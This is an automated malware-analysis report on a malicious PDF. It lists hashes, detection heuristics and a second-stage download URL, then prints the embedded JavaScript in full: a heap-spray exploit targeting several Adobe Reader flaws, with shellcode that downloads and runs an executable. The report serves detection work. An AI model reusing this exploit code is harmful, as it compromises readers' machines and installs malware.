Malicious PDF — malware analysis report

Static analysis result for SHA-256 f256c7def3ca7dc7…

MALICIOUS

PDF

3.0 KB First seen: 2012-07-12
MD5: 1fd36d03de22f6afab768ff030284b36 SHA-1: ee5a87ea40504a5411897ebdd86428662e92939b SHA-256: f256c7def3ca7dc7cb8a99f2259a06fa01350d8c4f200d92d1313250c758c8fc
276 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell T1059.003 Command and Scripting Interpreter: Windows Command Shell

The PDF contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript, found in 'javascript_obj0009_000.js', is likely responsible for executing the malicious payload. The exact actions of the script could not be determined due to obfuscation, but its presence within a highly suspicious PDF points to a malicious intent, likely to download and execute further stages.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
          chr3 = ((enc3 & 3) << 6) | enc4;
          output = output + String.fromCharCode(chr1);
          if (enc3 != 64) {
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://herosima1yet00g.cn/myexp/getexe.php?spl=pdf_exp Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0009_000.js pdf-javascript-stream PDF /JS object 9 at offset 0xD6 20833 bytes
SHA-256: 75916600b6be2c16f6e7e1400da3faa16e34223b0521427dd09f74c9f73ff5c6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var keyXXXStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
function decode64(input) {
   var output = "";
   var chr1, chr2, chr3;
   var enc1, enc2, enc3, enc4;
   var i = 0;
   input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
   do {
      enc1 = keyXXXStr.indexOf(input.charAt(i++));
      enc2 = keyXXXStr.indexOf(input.charAt(i++));
      enc3 = keyXXXStr.indexOf(input.charAt(i++));
      enc4 = keyXXXStr.indexOf(input.charAt(i++));
      chr1 = (enc1 << 2) | (enc2 >> 4);
      chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
      chr3 = ((enc3 & 3) << 6) | enc4;
      output = output + String.fromCharCode(chr1);
      if (enc3 != 64) {
         output = output + String.fromCharCode(chr2);
      }
      if (enc4 != 64) {
         output = output + String.fromCharCode(chr3);
      }
   } while (i < input.length);
   return output;
}
var aasd = decode64("
 var lL0qQHDmr = new Array();
 var IBGKjfHw9;
 var lave = eval;
  lave(unescape("%20%20%66%75%6e%63%74%69%6f%6e%20%6c%4c%4c%56%50%39%30%36%64%28%79%53%72%57%73%43%67%6a%64%2c%20%6e%77%50%70%65%62%36%7a%4b%29%20%20%7b%20%20%20%20%77%68%69%6c%65%28%79%53%72%57%73%43%67%6a%64%2e%6c%65%6e%67%74%68%20%2a%20%32%20%3c%20%6e%77%50%70%65%62%36%7a%4b%29%20%20%20%20%7b%20%20%20%20%20%20%79%53%72%57%73%43%67%6a%64%20%2b%3d%20%79%53%72%57%73%43%67%6a%64%3b%20%20%20%20%7d%20%20%20%20%79%53%72%57%73%43%67%6a%64%20%3d%20%79%53%72%57%73%43%67%6a%64%2e%73%75%62%73%74%72%69%6e%67%28%30%2c%20%6e%77%50%70%65%62%36%7a%4b%20%2f%20%32%29%3b%20%20%20%20%72%65%74%75%72%6e%20%79%53%72%57%73%43%67%6a%64%3b%20%20%7d%20"));  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 lave(unescape("%20%20%66%75%6e%63%74%69%6f%6e%20%47%5a%35%6a%49%44%50%53%54%28%29%20%20%7b%20%20%20%20%76%61%72%20%72%6e%53%70%46%62%4d%54%56%20%3d%20%30%3b%20%20%20%20%76%61%72%20%50%53%56%79%55%73%69%79%47%20%3d%20%61%70%70%2e%76%69%65%77%65%72%56%65%72%73%69%6f%6e%2e%74%6f%53%74%72%69%6e%67%28%29%3b%20%20%20%20%61%70%70%2e%63%6c%65%61%72%54%69%6d%65%4f%75%74%28%49%42%47%4b%6a%66%48%77%39%29%3b%20%20%20%20%69%66%28%28%50%53%56%79%55%73%69%79%47%20%3e%3d%20%38%20%26%26%20%50%53%56%79%55%73%69%79%47%20%3c%20%38%2e%31%30%32%29%20%7c%7c%20%50%53%56%79%55%73%69%79%47%20%3c%20%37%2e%31%29%20%20%20%20%7b%20%20%20%20%20%20%55%47%48%74%51%63%46%77%33%28%30%29%3b%20%20%20%20%20%20%76%61%72%20%55%72%67%37%48%46%42%32%59%20%3d%20%75%6e%65%73%63%61%70%65%28%22%25%75%30%63%30%63%25%75%30%63%30%63%22%29%3b%20%20%20%20%20%20%77%68%69%6c%65%28%55%72%67%37%48%46%42%32%59%2e%6c%65%6e%67%74%68%20%3c%20%34%34%39%35%32%29%20%55%72%67%37%48%46%42%32%59%20%2b%3d%20%55%72%67%37%48%46%42%32%59%3b%20%20%20%20%20%20%76%61%72%20%77%51%31%73%59%6f%4b%4f%35%20%3d%20%74%68%69%73%3b%20%20%20%20%20%20%76%61%72%20%71%6c%58%52%61%31%77%5a%55%20%3d%20%43%6f%6c%6c%61%62%3b%20%20%20%20%20%20%77%51%31%73%59%6f%4b%4f%35%5b%22%63%6f%6c%6c%61%62%53%74%6f%72%65%22%5d%20%3d%20%71%6c%58%52%61%31%77%5a%55%5b%22%63%6f%6c%6c%65%63%74%45%6d%61%69%6c%49%6e%66%6f%22%5d%28%20%20%20%20%20%20%7b%20%20%20%20%20%20%20%20%73%75%62%6a%20%3a%20%22%22%2c%20%6d%73%67%20%3a%20%55%72%67%37%48%46%42%32%59%20%20%20%20%20%20%7d%20%20%20%20%20%20%29%3b%20%20%20%20%7d%20%20%20%20%69%66%28%28%50%53%56%79%55%73%69%79%47%20%3e%3d%20%38%2e%31%30%32%20%26%26%20%50%53%56%79%55%73%69%79%47%20%3c%20%38%2e%31%30%34%29%20%7c%7c%20%28%50%53%56%79%55%73%69%79%47%20%3e%3d%20%39%20%26%26%20%50%53%56%79%55%73%69%79%47%20%3c%20%39%2e%31%29%20%7c%7c%20%50%53%56%79%55%73%69%79%47%20%3c%3d%20%37%2e%31%30%31%29%20%20%20%20%7b%20%20%20%20%20%20%74%72%79%20%20%20%20%20%20%7b%20%20%20%20%20%20%20%20%69%66%28%61%70%70%2e%64%6f%63%2e%43%6f%6c%6c%61%62%2e%67%65%74%49%63%6f%6e%29%20%20%20%20%20%20%20%20%7b%20%20%20%20%20%20%20%20%20%20%55%47%48%74%51%63%46%77%33%28%32%29%3b%20%20%20%20%20%20%20%20%20%20%76%61%72%20%42%49%53%36%62%4b%6c%69%62%20%3d%20%75%6e%65%73%63%61%70%65%28%22%25%30%39%22%29%3b%20%20%20%20%20%20%20%20%20%20%77%68%69%6c%65%28%42%49%53%36%62%4b%6c%69%62%2e%6c%65%6e%67%74%68%20%3c%20%30%78%34%30%30%30%29%20%20%20%20%20%20%20%20%20%20%7b%20%20%20%20%20%20%20%20%20%20%20%20%42%49%53%36%62%4b%6c%69%62%20%2b%3d%20%42%49%53%36%62%4b%6c%69%62%3b%20%20%20%20%20%20%20%20%20%20%7d%20%20%20%20%20%20%20%20%20%20%42%49%53%36%62%4b%6c%69%62%20%3d%20%22%4e%2e%22%20%2b%20%42%49%53%36%62%4b%6c%69%62%3b%20%20%20%20%20%20%20%20%20%20%76%61%72%20%56%74%63%5a%48%34%61%30%63%20%3d%20%61%70%70%3b%20%20%20%20%20%20%20%20%20%20%56%74%63%5a%48%34%61%30%63%5b%22%64%6f%63%22%5d%5b%22%43%6f%6c%6c%61%62%22%5d%5b%22%67%65%74%49%63%6f%6e%22%5d%28%42%49%53%36%62%4b%6c%69%62%29%3b%20%20%20%20%20%20%20%20%20%20%72%6e%53%70%46%62%4d%54%56%20%3d%20%31%3b%20%20%20%20%20%20%20%20%7d%20%20%20%20%20%20%20%20%65%6c%73%65%20%20%20%20%20%20%20%20%7b%20%20%20%20%20%20%20%20%20%20%72%6e%53%70%46%62%4d%54%56%20%3d%20%31%3b%20%20%20%20%20%20%20%20%7d%20%20%20%20%20%20%7d%20%20%20%20%20%20%63%61%74%63%68%28%65%29%20%20%20%20%20%20%7b%20%20%20%20%20%20%20%20%72%6e%53%70%46%62%4d%54%56%20%3d%20%31%3b%20%20%20%20%20%20%7d%20%20%20%20%20%20%69%66%28%72%6e%53%70%46%62%4d%54%56%20%3d%3d%20%31%29%20%20%20%20%20%20%7b%20%20%20%20%20%20%20%20%69%66%28%50%53%56%79%55%73%69%79%47%20%3d%3d%20%38%2e%31%30%32%20%7c%7c%20%50%53%56%79%55%73%69%79%47%20%3d%3d%20%37%2e%31%29%20%20%20%20%20%20%20%20%7b%20%20%20%20%20%20%20%20%20%20%55%47%48%74%51%63%46%77%33%28%31%29%3b%20%20%20%20%20%20%20%20%20%20%76%61%72%20%42%55%32%54%51%6d%31%72%4e%20%3d%20%22%31%32%39%39%39%39%39%39%39%39%39%39%39%39%39%39%39%39%39%39%22%3b%20%20%20%20%20%20%20%20%20%20%66%6f%72%28%51%6f%77%56%64%46%79%69%71%20%3d%20%30%3b%20%51%6f%77%56%64%46%79%69%71%20%3c%20%32%37%36%3b%20%51%6f%77%56%64%46%79%69%71%2b%2b%29%20%20%20%20%20%20%20%20%20%20%7b%20%20%20%20%20%20%20%20%20%20%20%20%42%55%32%54%51%6d%31%72%4e%20%2b%3d%20%22%38%22%3b%20%20%20%20%20%20%20%20%20%20%7d%20%20%20%20%20%20%20%20%20%20%76%61%72%20%67%55%59%76%57%52%59%37%6a%20%3d%20%75%74%69%6c%3b%20%20%20%20%20%20%20%20%20%20%67%55%59%76%57%52%59%37%6a%5b%22%70%72%69%6e%74%66%22%5d%28%22%25%34%35%30%30%30%66%22%2c%20%42%55%32%54%51%6d%31%72%4e%29%3b%20%20%20%20%20%20%20%20%7d%20%20%20%20%20%20%7d%20%20%20%20%7d%20%7d%20")); 
 app.ChtF7OGZo = GZ5jIDPST;
 IBGKjfHw9 = app.setTimeOut("app.ChtF7OGZo()", 1);
");
var sssddd = eval;
sssddd(aasd);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 9 at offset 0xD6 5116 bytes
SHA-256: 9ac0a9fa59841903cf09d17c58475024a44a39b4e4a7c12ed3cc48e926141573
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s). 23 of 42 identifiers look randomly generated (e.g. 'ChtF7OGZo') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var lL0qQHDmr = new Array();
 var IBGKjfHw9;
 var lave = eval;
  lave(unescape("  function lLLVP906d(ySrWsCgjd, nwPpeb6zK)  {    while(ySrWsCgjd.length * 2 < nwPpeb6zK)    {      ySrWsCgjd += ySrWsCgjd;    }    ySrWsCgjd = ySrWsCgjd.substring(0, nwPpeb6zK / 2);    return ySrWsCgjd;  } "));  lave(unescape("   function UGHtQcFw3(F682pZtLR)  {    if(F682pZtLR == 0)    {      var n2Ajz80pl = 0x0c0c0c0c;      var Avl7g3NaS =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u682F%u7265%u736F%u6D69%u3161%u6579%u3074%u6730%u632E%u2F6E%u796D%u7865%u2F70%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");    }    else if(F682pZtLR == 1)    {      n2Ajz80pl = 0x30303030;      var Avl7g3NaS =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u682F%u7265%u736F%u6D69%u3161%u6579%u3074%u6730%u632E%u2F6E%u796D%u7865%u2F70%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");    }    else if(F682pZtLR == 2)    {      var Avl7g3NaS =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u682F%u7265%u736F%u6D69%u3161%u6579%u3074%u6730%u632E%u2F6E%u796D%u7865%u2F70%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");    }    var lpP3EV0GK = 0x400000;    var X0gAFhKzh = Avl7g3NaS.length * 2;    var nwPpeb6zK = lpP3EV0GK - (X0gAFhKzh + 0x38);    var ySrWsCgjd = unescape("%u9090%u9090");    ySrWsCgjd = lLLVP906d(ySrWsCgjd, nwPpeb6zK);    var B9XEtSzz0 = (n2Ajz80pl - 0x400000) / lpP3EV0GK;    for(var VNkUNZtQo = 0; VNkUNZtQo < B9XEtSzz0; VNkUNZtQo++)    {      lL0qQHDmr[VNkUNZtQo] = ySrWsCgjd + Avl7g3NaS;    }  } "));  lave(unescape("  function GZ5jIDPST()  {    var rnSpFbMTV = 0;    var PSVyUsiyG = app.viewerVersion.toString();    app.clearTimeOut(IBGKjfHw9);    if((PSVyUsiyG >= 8 && PSVyUsiyG < 8.102) || PSVyUsiyG < 7.1)    {      UGHtQcFw3(0);      var Urg7HFB2Y = unescape("%u0c0c%u0c0c");      while(Urg7HFB2Y.length < 44952) Urg7HFB2Y += Urg7HFB2Y;      var wQ1sYoKO5 = this;      var qlXRa1wZU = Collab;      wQ1sYoKO5["collabStore"] = qlXRa1wZU["collectEmailInfo"](      {        subj : "", msg : Urg7HFB2Y      }      );    }    if((PSVyUsiyG >= 8.102 && PSVyUsiyG < 8.104) || (PSVyUsiyG >= 9 && PSVyUsiyG < 9.1) || PSVyUsiyG <= 7.101)    {      try      {        if(app.doc.Collab.getIcon)        {          UGHtQcFw3(2);          var BIS6bKlib = unescape("%09");          while(BIS6bKlib.length < 0x4000)          {            BIS6bKlib += BIS6bKlib;          }          BIS6bKlib = "N." + BIS6bKlib;          var VtcZH4a0c = app;          VtcZH4a0c["doc"]["Collab"]["getIcon"](BIS6bKlib);          rnSpFbMTV = 1;        }        else        {          rnSpFbMTV = 1;        }      }      catch(e)      {        rnSpFbMTV = 1;      }      if(rnSpFbMTV == 1)      {        if(PSVyUsiyG == 8.102 || PSVyUsiyG == 7.1)        {          UGHtQcFw3(1);          var BU2TQm1rN = "12999999999999999999";          for(QowVdFyiq = 0; QowVdFyiq < 276; QowVdFyiq++)          {            BU2TQm1rN += "8";          }          var gUYvWRY7j = util;          gUYvWRY7j["printf"]("%45000f", BU2TQm1rN);        }      }    } } ")); 
 app.ChtF7OGZo = GZ5jIDPST;
 IBGKjfHw9 = app.setTimeOut("app.ChtF7OGZo()", 1);
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode -> percent-decode from JavaScript object 9 at offset 0xD6 5112 bytes
SHA-256: e973d0a5359bfa77009debecbd64d9e2acb5ed98dd3eb2c2014ffb1fb1d4d58e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s). 23 of 42 identifiers look randomly generated (e.g. 'ChtF7OGZo') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var lL0qQHDmr = new Array();
 var IBGKjfHw9;
 var lave = eval;
  lave(unescape("  function lLLVP906d(ySrWsCgjd, nwPpeb6zK)  {    while(ySrWsCgjd.length * 2 < nwPpeb6zK)    {      ySrWsCgjd += ySrWsCgjd;    }    ySrWsCgjd = ySrWsCgjd.substring(0, nwPpeb6zK / 2);    return ySrWsCgjd;  } "));  lave(unescape("   function UGHtQcFw3(F682pZtLR)  {    if(F682pZtLR == 0)    {      var n2Ajz80pl = 0x0c0c0c0c;      var Avl7g3NaS =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u682F%u7265%u736F%u6D69%u3161%u6579%u3074%u6730%u632E%u2F6E%u796D%u7865%u2F70%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");    }    else if(F682pZtLR == 1)    {      n2Ajz80pl = 0x30303030;      var Avl7g3NaS =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u682F%u7265%u736F%u6D69%u3161%u6579%u3074%u6730%u632E%u2F6E%u796D%u7865%u2F70%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");    }    else if(F682pZtLR == 2)    {      var Avl7g3NaS =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u682F%u7265%u736F%u6D69%u3161%u6579%u3074%u6730%u632E%u2F6E%u796D%u7865%u2F70%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");    }    var lpP3EV0GK = 0x400000;    var X0gAFhKzh = Avl7g3NaS.length * 2;    var nwPpeb6zK = lpP3EV0GK - (X0gAFhKzh + 0x38);    var ySrWsCgjd = unescape("%u9090%u9090");    ySrWsCgjd = lLLVP906d(ySrWsCgjd, nwPpeb6zK);    var B9XEtSzz0 = (n2Ajz80pl - 0x400000) / lpP3EV0GK;    for(var VNkUNZtQo = 0; VNkUNZtQo < B9XEtSzz0; VNkUNZtQo++)    {      lL0qQHDmr[VNkUNZtQo] = ySrWsCgjd + Avl7g3NaS;    }  } "));  lave(unescape("  function GZ5jIDPST()  {    var rnSpFbMTV = 0;    var PSVyUsiyG = app.viewerVersion.toString();    app.clearTimeOut(IBGKjfHw9);    if((PSVyUsiyG >= 8 && PSVyUsiyG < 8.102) || PSVyUsiyG < 7.1)    {      UGHtQcFw3(0);      var Urg7HFB2Y = unescape("%u0c0c%u0c0c");      while(Urg7HFB2Y.length < 44952) Urg7HFB2Y += Urg7HFB2Y;      var wQ1sYoKO5 = this;      var qlXRa1wZU = Collab;      wQ1sYoKO5["collabStore"] = qlXRa1wZU["collectEmailInfo"](      {        subj : "", msg : Urg7HFB2Y      }      );    }    if((PSVyUsiyG >= 8.102 && PSVyUsiyG < 8.104) || (PSVyUsiyG >= 9 && PSVyUsiyG < 9.1) || PSVyUsiyG <= 7.101)    {      try      {        if(app.doc.Collab.getIcon)        {          UGHtQcFw3(2);          var BIS6bKlib = unescape("	");          while(BIS6bKlib.length < 0x4000)          {            BIS6bKlib += BIS6bKlib;          }          BIS6bKlib = "N." + BIS6bKlib;          var VtcZH4a0c = app;          VtcZH4a0c["doc"]["Collab"]["getIcon"](BIS6bKlib);          rnSpFbMTV = 1;        }        else        {          rnSpFbMTV = 1;        }      }      catch(e)      {        rnSpFbMTV = 1;      }      if(rnSpFbMTV == 1)      {        if(PSVyUsiyG == 8.102 || PSVyUsiyG == 7.1)        {          UGHtQcFw3(1);          var BU2TQm1rN = "12999999999999999999";          for(QowVdFyiq = 0; QowVdFyiq < 276; QowVdFyiq++)          {            BU2TQm1rN += "8";          }          var gUYvWRY7j = util;          gUYvWRY7j["printf"]("E000f", BU2TQm1rN);        }      }    } } ")); 
 app.ChtF7OGZo = GZ5jIDPST;
 IBGKjfHw9 = app.setTimeOut("app.ChtF7OGZo()", 1);